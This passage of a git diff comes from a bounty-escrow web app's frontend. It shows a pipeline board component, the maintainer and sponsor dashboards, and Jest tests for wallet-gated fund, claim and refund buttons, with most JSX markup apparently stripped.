+ const paid = makeBounty({ id: "paid-1", title: "Already paid out", status: "paid" });
+ render();
+
+ // Deliberate: "paid" is a terminal state, intentionally not a column.
+ expect(screen.queryByText("Already paid out")).not.toBeInTheDocument();
+ });
+});
+
+describe("PipelineBoard / escrow-stat consistency (#88)", () => {
+ it("gives every escrow-locked status a corresponding pipeline column", () => {
+ const allStatuses: BountyStatus[] = [
+ "open",
+ "funded",
+ "claimed",
+ "in_review",
+ "merged",
+ "paid",
+ "refunded",
+ "expired",
+ ];
+ const escrowLockedStatuses = allStatuses.filter(
+ (status) => !ESCROW_LOCKED_EXCLUDED_STATUSES.includes(status),
+ );
+ const columnStatuses = new Set(pipelineStages.map((s) => s.status));
+
+ for (const status of escrowLockedStatuses) {
+ expect(columnStatuses.has(status)).toBe(true);
+ }
+ });
+
+ it("intentionally leaves terminal statuses (paid, refunded, expired) without a pipeline column", () => {
+ const columnStatuses = new Set(pipelineStages.map((s) => s.status));
+ for (const status of ["paid", "refunded", "expired"] as const) {
+ expect(ESCROW_LOCKED_EXCLUDED_STATUSES).toContain(status);
+ expect(columnStatuses.has(status)).toBe(false);
+ }
+ });
+});
diff --git a/src/app/dashboard/maintainer/PipelineBoard.tsx b/src/app/dashboard/maintainer/PipelineBoard.tsx
index 331b44bd..34df679d 100644
--- a/src/app/dashboard/maintainer/PipelineBoard.tsx
+++ b/src/app/dashboard/maintainer/PipelineBoard.tsx
@@ -1,138 +1,138 @@
-import Link from "next/link";
-import { formatCurrency } from "@/lib/utils";
-import { Card } from "@/components/ui/Card";
-import type { Bounty, BountyStatus } from "@/types";
-
-// Statuses shown as a pipeline column, in left-to-right order.
-//
-// "paid"/"refunded"/"expired" are deliberately NOT columns here: once a
-// bounty leaves escrow (paid out, refunded, or expired unclaimed) it's a
-// terminal state, no longer "in the pipeline" in the sense this board
-// tracks. "merged" IS a column: it's still escrow-locked (see
-// ESCROW_LOCKED_EXCLUDED_STATUSES in page.tsx) and, per #88, the single
-// most important state for a maintainer to watch closely -- it's the last
-// step before the automatic payout webhook fires, and the one place a
-// stuck/delayed webhook would be most consequential to notice quickly.
-//
-// Every status this board omits a column for should also be excluded from
-// "Value locked in escrow" on the page above (and vice versa) -- kept
-// consistent deliberately; see the pipeline/escrow consistency test in
-// PipelineBoard.test.tsx.
-export const pipelineStages: { status: BountyStatus; label: string }[] = [
- { status: "open", label: "Open" },
- { status: "funded", label: "Funded" },
- { status: "claimed", label: "Claimed" },
- { status: "in_review", label: "In review" },
- { status: "merged", label: "Awaiting payout" },
-];
-
-// Statuses excluded from "Value locked in escrow" on the page above: "open"
-// hasn't been funded yet (nothing in escrow to lock), and
-// "paid"/"refunded"/"expired" have already left escrow. Every other status
-// -- "funded", "claimed", "in_review", "merged" -- is still escrow-locked
-// and must have a corresponding entry in pipelineStages above. Kept in the
-// same file as pipelineStages specifically so the two can't silently drift
-// apart the way they did before #88 (the stat counted "merged" as
-// escrow-locked while the board had no column for it) -- see the
-// consistency test in PipelineBoard.test.tsx.
-export const ESCROW_LOCKED_EXCLUDED_STATUSES: BountyStatus[] = [
- "open",
- "paid",
- "refunded",
- "expired",
-];
-
-// Cap per-column rendering so a busy repo's pipeline (potentially hundreds
-// of bounties in one status) doesn't render an unbounded, unvirtualized
-// list of cards on every dashboard visit (#226).
-const MAX_VISIBLE_PER_COLUMN = 8;
-
-function PipelineColumn({
- label,
- bounties,
-}: {
- label: string;
- bounties: Bounty[];
-}) {
- const visible = bounties.slice(0, MAX_VISIBLE_PER_COLUMN);
- const hiddenCount = bounties.length - visible.length;
-
- return (
-
-
-
- {label}
-
-
- {bounties.length}
-
-
-
- {visible.map((b) => (
-
-
- {b.org}/{b.repo} #{b.issueNumber}
-
-
- {b.title}
-
-
- {formatCurrency(b.reward, b.asset)}
-
-
- ))}
- {bounties.length === 0 && (
-
- Nothing here
-
- )}
- {hiddenCount > 0 && (
-
- View all {bounties.length} in Bounty pipeline
-
- )}
-
-
- );
-}
-
-/**
- * Renders the Kanban-style pipeline board. Extracted from the page's async
- * Server Component (#88) so it's a plain function of already-fetched
- * `bounties`, testable without mocking data-fetching, DashboardShell, etc.
- */
-export function PipelineBoard({ bounties }: { bounties: Bounty[] }) {
- const byStatus = new Map();
- for (const bounty of bounties) {
- const group = byStatus.get(bounty.status);
- if (group) {
- group.push(bounty);
- } else {
- byStatus.set(bounty.status, [bounty]);
- }
- }
-
- return (
-
-
Pipeline
-
- {pipelineStages.map((stage) => (
-
- ))}
-
-
- );
-}
+import Link from "next/link";
+import { formatCurrency } from "@/lib/utils";
+import { Card } from "@/components/ui/Card";
+import type { Bounty, BountyStatus } from "@/types";
+
+// Statuses shown as a pipeline column, in left-to-right order.
+//
+// "paid"/"refunded"/"expired" are deliberately NOT columns here: once a
+// bounty leaves escrow (paid out, refunded, or expired unclaimed) it's a
+// terminal state, no longer "in the pipeline" in the sense this board
+// tracks. "merged" IS a column: it's still escrow-locked (see
+// ESCROW_LOCKED_EXCLUDED_STATUSES in page.tsx) and, per #88, the single
+// most important state for a maintainer to watch closely -- it's the last
+// step before the automatic payout webhook fires, and the one place a
+// stuck/delayed webhook would be most consequential to notice quickly.
+//
+// Every status this board omits a column for should also be excluded from
+// "Value locked in escrow" on the page above (and vice versa) -- kept
+// consistent deliberately; see the pipeline/escrow consistency test in
+// PipelineBoard.test.tsx.
+export const pipelineStages: { status: BountyStatus; label: string }[] = [
+ { status: "open", label: "Open" },
+ { status: "funded", label: "Funded" },
+ { status: "claimed", label: "Claimed" },
+ { status: "in_review", label: "In review" },
+ { status: "merged", label: "Awaiting payout" },
+];
+
+// Statuses excluded from "Value locked in escrow" on the page above: "open"
+// hasn't been funded yet (nothing in escrow to lock), and
+// "paid"/"refunded"/"expired" have already left escrow. Every other status
+// -- "funded", "claimed", "in_review", "merged" -- is still escrow-locked
+// and must have a corresponding entry in pipelineStages above. Kept in the
+// same file as pipelineStages specifically so the two can't silently drift
+// apart the way they did before #88 (the stat counted "merged" as
+// escrow-locked while the board had no column for it) -- see the
+// consistency test in PipelineBoard.test.tsx.
+export const ESCROW_LOCKED_EXCLUDED_STATUSES: BountyStatus[] = [
+ "open",
+ "paid",
+ "refunded",
+ "expired",
+];
+
+// Cap per-column rendering so a busy repo's pipeline (potentially hundreds
+// of bounties in one status) doesn't render an unbounded, unvirtualized
+// list of cards on every dashboard visit (#226).
+const MAX_VISIBLE_PER_COLUMN = 8;
+
+function PipelineColumn({
+ label,
+ bounties,
+}: {
+ label: string;
+ bounties: Bounty[];
+}) {
+ const visible = bounties.slice(0, MAX_VISIBLE_PER_COLUMN);
+ const hiddenCount = bounties.length - visible.length;
+
+ return (
+
+
+
+ {label}
+
+
+ {bounties.length}
+
+
+
+ {visible.map((b) => (
+
+
+ {b.org}/{b.repo} #{b.issueNumber}
+
+
+ {b.title}
+
+
+ {formatCurrency(b.reward, b.asset)}
+
+
+ ))}
+ {bounties.length === 0 && (
+
+ Nothing here
+
+ )}
+ {hiddenCount > 0 && (
+
+ View all {bounties.length} in Bounty pipeline
+
+ )}
+
+
+ );
+}
+
+/**
+ * Renders the Kanban-style pipeline board. Extracted from the page's async
+ * Server Component (#88) so it's a plain function of already-fetched
+ * `bounties`, testable without mocking data-fetching, DashboardShell, etc.
+ */
+export function PipelineBoard({ bounties }: { bounties: Bounty[] }) {
+ const byStatus = new Map();
+ for (const bounty of bounties) {
+ const group = byStatus.get(bounty.status);
+ if (group) {
+ group.push(bounty);
+ } else {
+ byStatus.set(bounty.status, [bounty]);
+ }
+ }
+
+ return (
+
+
Pipeline
+
+ {pipelineStages.map((stage) => (
+
+ ))}
+
+
+ );
+}
diff --git a/src/app/dashboard/maintainer/page.tsx b/src/app/dashboard/maintainer/page.tsx
index 3d9fb5c1..de6c02c5 100644
--- a/src/app/dashboard/maintainer/page.tsx
+++ b/src/app/dashboard/maintainer/page.tsx
@@ -1,176 +1,176 @@
-import Link from "next/link";
-import { Layers, Clock, Coins, FolderGit2, CheckCircle2 } from "lucide-react";
-import { fetchBounties } from "@/lib/api";
-import { mockBounties, recentActivity, bountiesCompletedSparkline } from "@/lib/mock-data";
-import { DashboardShell } from "@/components/dashboard/DashboardShell";
-import { ActivityList } from "@/components/dashboard/ActivityList";
-import { StatCard } from "@/components/ui/StatCard";
-import { StatusBadge } from "@/components/ui/Badge";
-import { EmptyState } from "@/components/ui/EmptyState";
-import { SampleDataChip } from "@/components/ui/DataSourceNotice";
-import { Avatar } from "@/components/ui/Avatar";
-import { Card } from "@/components/ui/Card";
-import { formatCurrency, sumMoney } from "@/lib/utils";
-import { t } from "@/lib/messages";
-import { PipelineBoard, ESCROW_LOCKED_EXCLUDED_STATUSES } from "./PipelineBoard";
-
-export const metadata = {
- title: "Maintainer Dashboard | MergeFi",
-};
-
-export default async function MaintainerDashboardPage() {
- // Maintainer dashboard is a Server Component (no client-side loading state).
- // fetchBounties (lib/api.ts) already catches every failure internally and
- // resolves to the `fallback` argument instead of rejecting — it can never
- // throw, so a try/catch around it here would be dead code. Detect the
- // fallback case instead by reference: fetchBounties returns the exact
- // fallback array on failure, but always a freshly-mapped array (a new
- // reference, even if its contents happened to match) on a real live
- // fetch, so this reliably distinguishes "live data" from "backend down,
- // showing mockBounties" without changing fetchBounties' shared contract
- // (#240).
- const { data: bounties, source } = await fetchBounties(mockBounties);
- const statStatus: "loaded" | "error" = source === "live" ? "loaded" : "error";
-
- const needsReview = bounties.filter((b) => b.status === "in_review");
- const open = bounties.filter((b) => b.status === "open" || b.status === "funded");
- const repoCount = new Set(bounties.map((b) => `${b.org}/${b.repo}`)).size;
- // Summed in integer minor units to avoid float drift (#353). 7 decimals
- // covers both USDC (2) and XLM (7) rewards without truncation.
- const totalEscrow = sumMoney(
- bounties
- .filter((b) => !ESCROW_LOCKED_EXCLUDED_STATUSES.includes(b.status))
- .map((b) => b.reward),
- 7,
- );
-
- return (
-
-
- Create bounty
-
-
- }
- >
- {/* Pass statStatus so that a fetchBounties failure renders error states
- on all four cards instead of silently showing zeros. */}
-
-
- ))}
- {needsReview.length === 0 && (
- /* A maintainer with zero items to review has *finished*, not
- failed — the review queue draining is the success case. Toned
- as success with no CTA pushing more work at them, and the
- secondary action points at bounties they could open rather
- than at more reviews. */
-
- {t("empty.review.clear.cta")}
-
- }
- />
- )}
-
-
-
-
-
- Recent activity
-
- {source === "mock" && }
-
-
-
-
-
-
-
- );
-}
+import Link from "next/link";
+import { Layers, Clock, Coins, FolderGit2, CheckCircle2 } from "lucide-react";
+import { fetchBounties } from "@/lib/api";
+import { mockBounties, recentActivity, bountiesCompletedSparkline } from "@/lib/mock-data";
+import { DashboardShell } from "@/components/dashboard/DashboardShell";
+import { ActivityList } from "@/components/dashboard/ActivityList";
+import { StatCard } from "@/components/ui/StatCard";
+import { StatusBadge } from "@/components/ui/Badge";
+import { EmptyState } from "@/components/ui/EmptyState";
+import { SampleDataChip } from "@/components/ui/DataSourceNotice";
+import { Avatar } from "@/components/ui/Avatar";
+import { Card } from "@/components/ui/Card";
+import { formatCurrency, sumMoney } from "@/lib/utils";
+import { t } from "@/lib/messages";
+import { PipelineBoard, ESCROW_LOCKED_EXCLUDED_STATUSES } from "./PipelineBoard";
+
+export const metadata = {
+ title: "Maintainer Dashboard | MergeFi",
+};
+
+export default async function MaintainerDashboardPage() {
+ // Maintainer dashboard is a Server Component (no client-side loading state).
+ // fetchBounties (lib/api.ts) already catches every failure internally and
+ // resolves to the `fallback` argument instead of rejecting — it can never
+ // throw, so a try/catch around it here would be dead code. Detect the
+ // fallback case instead by reference: fetchBounties returns the exact
+ // fallback array on failure, but always a freshly-mapped array (a new
+ // reference, even if its contents happened to match) on a real live
+ // fetch, so this reliably distinguishes "live data" from "backend down,
+ // showing mockBounties" without changing fetchBounties' shared contract
+ // (#240).
+ const { data: bounties, source } = await fetchBounties(mockBounties);
+ const statStatus: "loaded" | "error" = source === "live" ? "loaded" : "error";
+
+ const needsReview = bounties.filter((b) => b.status === "in_review");
+ const open = bounties.filter((b) => b.status === "open" || b.status === "funded");
+ const repoCount = new Set(bounties.map((b) => `${b.org}/${b.repo}`)).size;
+ // Summed in integer minor units to avoid float drift (#353). 7 decimals
+ // covers both USDC (2) and XLM (7) rewards without truncation.
+ const totalEscrow = sumMoney(
+ bounties
+ .filter((b) => !ESCROW_LOCKED_EXCLUDED_STATUSES.includes(b.status))
+ .map((b) => b.reward),
+ 7,
+ );
+
+ return (
+
+
+ Create bounty
+
+
+ }
+ >
+ {/* Pass statStatus so that a fetchBounties failure renders error states
+ on all four cards instead of silently showing zeros. */}
+
+
+ ))}
+ {needsReview.length === 0 && (
+ /* A maintainer with zero items to review has *finished*, not
+ failed — the review queue draining is the success case. Toned
+ as success with no CTA pushing more work at them, and the
+ secondary action points at bounties they could open rather
+ than at more reviews. */
+
+ {t("empty.review.clear.cta")}
+
+ }
+ />
+ )}
+
+
+
+
+
+ Recent activity
+
+ {source === "mock" && }
+
+
+
+
+
+
+
+ );
+}
diff --git a/src/app/dashboard/sponsor/SponsorDashboardClient.tsx b/src/app/dashboard/sponsor/SponsorDashboardClient.tsx
index a9eae964..956d46b1 100644
--- a/src/app/dashboard/sponsor/SponsorDashboardClient.tsx
+++ b/src/app/dashboard/sponsor/SponsorDashboardClient.tsx
@@ -1,321 +1,321 @@
-"use client";
-
-import { useEffect, useState, useRef } from "react";
-import Link from "next/link";
-import { Wallet, Receipt, Lock, FolderGit2, Inbox, CheckCircle2 } from "lucide-react";
-import { DashboardShell } from "@/components/dashboard/DashboardShell";
-import { ActivityList } from "@/components/dashboard/ActivityList";
-import { StatCard, type StatCardStatus } from "@/components/ui/StatCard";
-import { BarChart } from "@/components/ui/BarChart";
-import { EmptyState } from "@/components/ui/EmptyState";
-import { SampleDataChip } from "@/components/ui/DataSourceNotice";
-import { Button } from "@/components/ui/Button";
-import { BountyCard } from "@/components/bounty/BountyCard";
-import { Card } from "@/components/ui/Card";
-import { formatCurrency, subtractMoney } from "@/lib/utils";
-import { t } from "@/lib/messages";
-import { apiRequest } from "@/lib/api";
-import { adaptBounty, type RawBounty, type RawMilestone } from "@/lib/adapters";
-import {
- mockSponsorSummary,
- mockBounties,
- recentActivity,
- sponsorSpendHistory,
- sponsorSpendByRepo,
- budgetSparkline,
-} from "@/lib/mock-data";
-import { useAuth } from "@/context/AuthContext";
-import type { Bounty } from "@/types";
-
-interface SponsorDashboardData {
- activeBounties: Bounty[];
- totalSpent: number;
- budgetLocked: number;
- repoCount: number;
-}
-
-const spendChartData = sponsorSpendHistory.map((value, i) => ({
- label: `W${i + 1}`,
- value,
-}));
-
-const maxRepoSpend = Math.max(...sponsorSpendByRepo.map((r) => r.amount));
-
-export default function SponsorDashboardClient() {
- const { user, loading } = useAuth();
- const [data, setData] = useState(null);
- const [isLive, setIsLive] = useState(false);
- // Explicit fetch status so StatCards can show skeletons rather than
- // hiding the whole page, and errors rather than flashing zeroes.
- const [fetchStatus, setFetchStatus] = useState("loading");
-
- // Drops responses from a superseded run of the effect below. Even with
- // `user?.id` as the dependency, `loading` flipping (cross-tab login, token
- // re-resolve) re-runs this fetch while the previous one may still be in
- // flight, and an unmount mid-request would otherwise write state into a
- // component that no longer exists. Last-started wins, not last-to-resolve.
- const fetchGeneration = useRef(0);
-
- useEffect(() => {
- const generation = ++fetchGeneration.current;
- if (loading) return;
-
- if (!user) {
- // Demo-mode fallback when signed out.
- // eslint-disable-next-line react-hooks/set-state-in-effect
- setData({
- activeBounties: mockBounties.filter((b) =>
- ["open", "funded", "claimed", "in_review"].includes(b.status),
- ),
- // Integer minor-unit arithmetic, not raw float subtraction (#353).
- totalSpent: subtractMoney(
- mockSponsorSummary.totalFunded,
- mockSponsorSummary.budgetRemaining,
- ),
- budgetLocked: mockSponsorSummary.budgetRemaining,
- repoCount: mockSponsorSummary.repos.length,
- });
- setFetchStatus("loaded");
- setIsLive(false);
- return;
- }
-
- setFetchStatus("loading");
-
- apiRequest<{
- activeBounties: RawBounty[];
- totalSpent: number;
- budgetLocked: number;
- activeMilestones: RawMilestone[];
- }>(`/sponsors/${user.id}/dashboard`)
- .then((raw) => {
- if (generation !== fetchGeneration.current) return;
- const activeBounties = raw.activeBounties.map(adaptBounty);
- const repoCount = new Set(activeBounties.map((b) => `${b.org}/${b.repo}`)).size;
- setData({
- activeBounties,
- totalSpent: raw.totalSpent,
- budgetLocked: raw.budgetLocked,
- repoCount,
- });
- setFetchStatus("loaded");
- setIsLive(true);
- })
- .catch(() => {
- if (generation !== fetchGeneration.current) return;
- // On error: keep data null so cards can show their error state.
- // Do NOT set values to 0 — that would be indistinguishable from a
- // real zero balance, which is a trust-eroding false signal for a sponsor.
- setData(null);
- setFetchStatus("error");
- setIsLive(true);
- });
- // Depend on user?.id, not the whole user object: AuthContext#refresh()
- // sets a freshly-parsed user object on every call — including unrelated
- // cross-tab token-storage pings — so a reference-based dependency
- // re-ran this fetch even when the signed-in sponsor's identity hadn't
- // actually changed (#243).
- // eslint-disable-next-line react-hooks/exhaustive-deps
- }, [user?.id, loading]);
-
- // Derive per-card values only when data is available.
- const totalSpent = data?.totalSpent;
- const activeBountyCount = data?.activeBounties.length;
- const budgetLocked = data?.budgetLocked;
- const repoCount = data?.repoCount;
-
- /* Any money or repo history means this sponsor has funded before, so an
- empty active list means "all settled" rather than "never started". */
- const sponsorHasHistory =
- (data?.totalSpent ?? 0) > 0 ||
- (data?.budgetLocked ?? 0) > 0 ||
- (data?.repoCount ?? 0) > 0;
-
- return (
-
- {isLive ? "Live data" : "Demo data"}
-
- }
- action={
-
-
- Fund a bounty
-
-
- }
- >
- {/* Stat cards — page structure is always visible; individual cards
- show skeletons during load and error states on failure, so no part
- of the UI flashes a 0 that looks like a real zero balance. */}
-
-
-
-
-
-
-
-
-
-
-
Spend, last 8 weeks
- {isLive && }
-
-
- formatCurrency(v)}
- title="Spend, last 8 weeks"
- />
-
- {data?.activeBounties?.length === 0 && (
- /* Two genuinely different situations collapse into the same
- "0 active bounties" count, and the previous single copy treated
- both as "fund something", which is the wrong advice for a sponsor
- whose entire portfolio has already been paid out:
- - never funded anything → needs a "fund your first" CTA
- - everything has settled → this is the success state, and
- suggesting they fund more is noise */
- sponsorHasHistory ? (
-
- ) : (
-
-
-
- }
- />
- )
- )}
-
-
-
Recent activity
- {isLive && }
-
-
-
-
-
- {/* Dev-only: visual kitchen sink — renders all four StatCard states
- side by side so any regression is immediately obvious during development. */}
- {process.env.NODE_ENV === "development" && (
-
-
- StatCard state kitchen sink (dev only)
-
-
-
-
-
-
-
-
- )}
-
- );
-}
+"use client";
+
+import { useEffect, useState, useRef } from "react";
+import Link from "next/link";
+import { Wallet, Receipt, Lock, FolderGit2, Inbox, CheckCircle2 } from "lucide-react";
+import { DashboardShell } from "@/components/dashboard/DashboardShell";
+import { ActivityList } from "@/components/dashboard/ActivityList";
+import { StatCard, type StatCardStatus } from "@/components/ui/StatCard";
+import { BarChart } from "@/components/ui/BarChart";
+import { EmptyState } from "@/components/ui/EmptyState";
+import { SampleDataChip } from "@/components/ui/DataSourceNotice";
+import { Button } from "@/components/ui/Button";
+import { BountyCard } from "@/components/bounty/BountyCard";
+import { Card } from "@/components/ui/Card";
+import { formatCurrency, subtractMoney } from "@/lib/utils";
+import { t } from "@/lib/messages";
+import { apiRequest } from "@/lib/api";
+import { adaptBounty, type RawBounty, type RawMilestone } from "@/lib/adapters";
+import {
+ mockSponsorSummary,
+ mockBounties,
+ recentActivity,
+ sponsorSpendHistory,
+ sponsorSpendByRepo,
+ budgetSparkline,
+} from "@/lib/mock-data";
+import { useAuth } from "@/context/AuthContext";
+import type { Bounty } from "@/types";
+
+interface SponsorDashboardData {
+ activeBounties: Bounty[];
+ totalSpent: number;
+ budgetLocked: number;
+ repoCount: number;
+}
+
+const spendChartData = sponsorSpendHistory.map((value, i) => ({
+ label: `W${i + 1}`,
+ value,
+}));
+
+const maxRepoSpend = Math.max(...sponsorSpendByRepo.map((r) => r.amount));
+
+export default function SponsorDashboardClient() {
+ const { user, loading } = useAuth();
+ const [data, setData] = useState(null);
+ const [isLive, setIsLive] = useState(false);
+ // Explicit fetch status so StatCards can show skeletons rather than
+ // hiding the whole page, and errors rather than flashing zeroes.
+ const [fetchStatus, setFetchStatus] = useState("loading");
+
+ // Drops responses from a superseded run of the effect below. Even with
+ // `user?.id` as the dependency, `loading` flipping (cross-tab login, token
+ // re-resolve) re-runs this fetch while the previous one may still be in
+ // flight, and an unmount mid-request would otherwise write state into a
+ // component that no longer exists. Last-started wins, not last-to-resolve.
+ const fetchGeneration = useRef(0);
+
+ useEffect(() => {
+ const generation = ++fetchGeneration.current;
+ if (loading) return;
+
+ if (!user) {
+ // Demo-mode fallback when signed out.
+ // eslint-disable-next-line react-hooks/set-state-in-effect
+ setData({
+ activeBounties: mockBounties.filter((b) =>
+ ["open", "funded", "claimed", "in_review"].includes(b.status),
+ ),
+ // Integer minor-unit arithmetic, not raw float subtraction (#353).
+ totalSpent: subtractMoney(
+ mockSponsorSummary.totalFunded,
+ mockSponsorSummary.budgetRemaining,
+ ),
+ budgetLocked: mockSponsorSummary.budgetRemaining,
+ repoCount: mockSponsorSummary.repos.length,
+ });
+ setFetchStatus("loaded");
+ setIsLive(false);
+ return;
+ }
+
+ setFetchStatus("loading");
+
+ apiRequest<{
+ activeBounties: RawBounty[];
+ totalSpent: number;
+ budgetLocked: number;
+ activeMilestones: RawMilestone[];
+ }>(`/sponsors/${user.id}/dashboard`)
+ .then((raw) => {
+ if (generation !== fetchGeneration.current) return;
+ const activeBounties = raw.activeBounties.map(adaptBounty);
+ const repoCount = new Set(activeBounties.map((b) => `${b.org}/${b.repo}`)).size;
+ setData({
+ activeBounties,
+ totalSpent: raw.totalSpent,
+ budgetLocked: raw.budgetLocked,
+ repoCount,
+ });
+ setFetchStatus("loaded");
+ setIsLive(true);
+ })
+ .catch(() => {
+ if (generation !== fetchGeneration.current) return;
+ // On error: keep data null so cards can show their error state.
+ // Do NOT set values to 0 — that would be indistinguishable from a
+ // real zero balance, which is a trust-eroding false signal for a sponsor.
+ setData(null);
+ setFetchStatus("error");
+ setIsLive(true);
+ });
+ // Depend on user?.id, not the whole user object: AuthContext#refresh()
+ // sets a freshly-parsed user object on every call — including unrelated
+ // cross-tab token-storage pings — so a reference-based dependency
+ // re-ran this fetch even when the signed-in sponsor's identity hadn't
+ // actually changed (#243).
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ }, [user?.id, loading]);
+
+ // Derive per-card values only when data is available.
+ const totalSpent = data?.totalSpent;
+ const activeBountyCount = data?.activeBounties.length;
+ const budgetLocked = data?.budgetLocked;
+ const repoCount = data?.repoCount;
+
+ /* Any money or repo history means this sponsor has funded before, so an
+ empty active list means "all settled" rather than "never started". */
+ const sponsorHasHistory =
+ (data?.totalSpent ?? 0) > 0 ||
+ (data?.budgetLocked ?? 0) > 0 ||
+ (data?.repoCount ?? 0) > 0;
+
+ return (
+
+ {isLive ? "Live data" : "Demo data"}
+
+ }
+ action={
+
+
+ Fund a bounty
+
+
+ }
+ >
+ {/* Stat cards — page structure is always visible; individual cards
+ show skeletons during load and error states on failure, so no part
+ of the UI flashes a 0 that looks like a real zero balance. */}
+
+
+
+
+
+
+
+
+
+
+
Spend, last 8 weeks
+ {isLive && }
+
+
+ formatCurrency(v)}
+ title="Spend, last 8 weeks"
+ />
+
+ {data?.activeBounties?.length === 0 && (
+ /* Two genuinely different situations collapse into the same
+ "0 active bounties" count, and the previous single copy treated
+ both as "fund something", which is the wrong advice for a sponsor
+ whose entire portfolio has already been paid out:
+ - never funded anything → needs a "fund your first" CTA
+ - everything has settled → this is the success state, and
+ suggesting they fund more is noise */
+ sponsorHasHistory ? (
+
+ ) : (
+
+
+
+ }
+ />
+ )
+ )}
+
+
+
Recent activity
+ {isLive && }
+
+
+
+
+
+ {/* Dev-only: visual kitchen sink — renders all four StatCard states
+ side by side so any regression is immediately obvious during development. */}
+ {process.env.NODE_ENV === "development" && (
+
+
+ StatCard state kitchen sink (dev only)
+
+
+
+
+
+
+
+
+ )}
+
+ );
+}
diff --git a/src/app/issues/[id]/IssueActions.test.tsx b/src/app/issues/[id]/IssueActions.test.tsx
index 0a7cf6ca..e3c9f634 100644
--- a/src/app/issues/[id]/IssueActions.test.tsx
+++ b/src/app/issues/[id]/IssueActions.test.tsx
@@ -1,362 +1,362 @@
-import { render, screen } from "@testing-library/react";
-import userEvent from "@testing-library/user-event";
-import { IssueActions } from "./IssueActions";
-import { useAuth } from "@/context/AuthContext";
-import { useWallet } from "@/context/WalletContext";
-import { apiPost, ApiRequestError } from "@/lib/api";
-import type { Bounty, BountyStatus } from "@/types";
-
-const push = jest.fn();
-const refresh = jest.fn();
-jest.mock("next/navigation", () => ({
- useRouter: () => ({ push, refresh }),
-}));
-jest.mock("@/context/AuthContext", () => ({ useAuth: jest.fn() }));
-jest.mock("@/context/WalletContext", () => ({ useWallet: jest.fn() }));
-jest.mock("@/lib/api", () => ({
- ...jest.requireActual("@/lib/api"),
- apiPost: jest.fn(),
-}));
-
-const mockUseAuth = useAuth as jest.MockedFunction;
-const mockUseWallet = useWallet as jest.MockedFunction;
-const mockApiPost = apiPost as jest.MockedFunction;
-
-const connect = jest.fn();
-
-function makeBounty(
- status: BountyStatus,
- overrides: Partial = {},
-): Bounty {
- return {
- id: "bounty-1",
- title: "Fix the thing",
- description: "",
- reward: 250,
- asset: "USDC",
- difficulty: "beginner",
- status,
- org: "mergefi",
- repo: "frontend",
- issueNumber: 1,
- labels: [],
- deadline: null,
- // The status table below reads as "what the sponsor sees" — refund is
- // only ever rendered to this account. Gating itself is covered separately.
- sponsorId: "user-1",
- ...overrides,
- } as Bounty;
-}
-
-function mockWallet(overrides: Record = {}) {
- mockUseWallet.mockReturnValue({
- address: "GWALLET",
- connect,
- connecting: false,
- addressMismatch: false,
- networkMismatch: false,
- recheckNetworkMismatch: jest.fn().mockResolvedValue(false),
- getError: () => null,
- ...overrides,
- } as unknown as ReturnType);
-}
-
-function mockUser(
- user: { id: string; stellarAddress?: string | null } | null = {
- id: "user-1",
- stellarAddress: "GSTELLAR",
- },
-) {
- mockUseAuth.mockReturnValue({ user } as unknown as ReturnType<
- typeof useAuth
- >);
-}
-
-beforeEach(() => {
- jest.clearAllMocks();
- mockWallet();
- mockUser();
- // Claim consumes `{ data: bounty }` on success; every other endpoint here
- // returns a body the handler ignores.
- mockApiPost.mockImplementation((async (path: string) =>
- path.endsWith("/claim") ? { data: makeBounty("claimed") } : undefined) as never);
-});
-
-describe("IssueActions — action buttons per bounty.status", () => {
- const buttonNames = () =>
- screen.queryAllByRole("button").map((b) => b.textContent);
-
- it("open → only 'Fund this bounty'", () => {
- render();
- expect(buttonNames()).toEqual(["Fund this bounty"]);
- });
-
- it("funded → 'Claim Bounty' and 'Refund sponsor'", () => {
- render();
- expect(buttonNames()).toEqual(["Claim Bounty", "Refund sponsor"]);
- });
-
- it("claimed → only 'Refund sponsor' (no second claim)", () => {
- render();
- expect(buttonNames()).toEqual(["Refund sponsor"]);
- });
-
- it.each([
- ["in_review", "Awaiting PR merge"],
- ["merged", "Payout pending"],
- ["paid", "Payout complete"],
- ["refunded", "No action available"],
- ["expired", "No action available"],
- ] as const)(
- "%s → a single disabled '%s' button and no money-moving action",
- (status, label) => {
- render();
- const buttons = screen.getAllByRole("button");
- expect(buttons).toHaveLength(1);
- expect(buttons[0]).toHaveTextContent(label);
- expect(buttons[0]).toBeDisabled();
- expect(
- screen.queryByRole("button", { name: /fund|claim|refund/i }),
- ).not.toBeInTheDocument();
- },
- );
-});
-
-describe("IssueActions — fund (wallet-gated)", () => {
- it("funds with the connected wallet address, shows a notice and refreshes", async () => {
- const user = userEvent.setup();
- render();
- await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
-
- expect(mockApiPost).toHaveBeenCalledWith(
- "/bounties/bounty-1/fund",
- expect.objectContaining({
- funderAddress: "GWALLET",
- idempotencyKey: expect.any(String),
- }),
- );
- const notice = await screen.findByRole("status");
- expect(notice).toHaveTextContent(/Escrow funded on-chain/);
- expect(notice).toHaveAttribute("aria-live", "polite");
- expect(refresh).toHaveBeenCalledTimes(1);
- });
-
- it("connects first when no wallet is connected", async () => {
- const user = userEvent.setup();
- connect.mockResolvedValueOnce("GNEWWALLET");
- mockWallet({ address: null });
- render();
- await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
-
- expect(connect).toHaveBeenCalledTimes(1);
- expect(mockApiPost).toHaveBeenCalledWith(
- "/bounties/bounty-1/fund",
- expect.objectContaining({ funderAddress: "GNEWWALLET" }),
- );
- });
-
- it("blocks funding when addressMismatch is set — no connect, no apiPost, error shown", async () => {
- const user = userEvent.setup();
- mockWallet({ addressMismatch: true });
- render();
- await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
-
- expect(await screen.findByRole("alert")).toHaveTextContent(
- /active account has changed/,
- );
- expect(connect).not.toHaveBeenCalled();
- expect(mockApiPost).not.toHaveBeenCalled();
- expect(refresh).not.toHaveBeenCalled();
- });
-
- it("blocks funding when a live network re-check still reports a mismatch", async () => {
- const user = userEvent.setup();
- mockWallet({
- networkMismatch: true,
- recheckNetworkMismatch: jest.fn().mockResolvedValue(true),
- });
- render();
- await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
-
- expect(await screen.findByRole("alert")).toHaveTextContent(/wrong network/);
- expect(connect).not.toHaveBeenCalled();
- expect(mockApiPost).not.toHaveBeenCalled();
- expect(refresh).not.toHaveBeenCalled();
- });
-
- // The mount-time flag used to be authoritative: a user who fixed the
- // network inside Freighter stayed locked out until a full page reload.
- it("funds normally once the re-check finds the network corrected", async () => {
- const user = userEvent.setup();
